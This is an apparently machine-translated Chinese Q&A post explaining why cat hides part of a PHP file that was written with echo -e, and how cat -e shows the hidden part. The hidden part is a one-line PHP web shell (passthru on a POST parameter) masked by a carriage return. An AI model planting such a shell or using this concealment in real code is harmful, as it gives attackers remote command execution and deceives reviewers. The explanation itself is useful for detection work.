正如你所看到的,我创建的内容index.php
如下:
$ echo -e "<?php passthru(\$_POST[1])?>\r<?php echo 'A PHP Test ';" > index.php
进而:
$ cat index.php
<?php echo 'A PHP Test ';?>
但:
$ cat -e index.php
<?php passthru($_POST[1])?>^M<?php echo 'A PHP Test ';$
我该如何解释呢?
答案1
从男人回声
-e
enable interpretation of backslash escapes
If -e is in effect, the following sequences are recognized:
\r
carriage return
从人猫
-e
equivalent to -vE
-E, --show-ends
display $ at end of each line
-v, --show-nonprinting
use ^ and M- notation, except for LFD and TAB
据我了解,\r
表达式返回回车符,因此您在返回后回显所有内容,这就是为什么当您简化输出时,cat index.php
输出是<?php echo 'A PHP Test ';?>
.
当您cat
使用该选项时,当存在非打印语句时,-e
您将打印该选项,并且在该行的最末尾,就像该选项一样^M
$
-E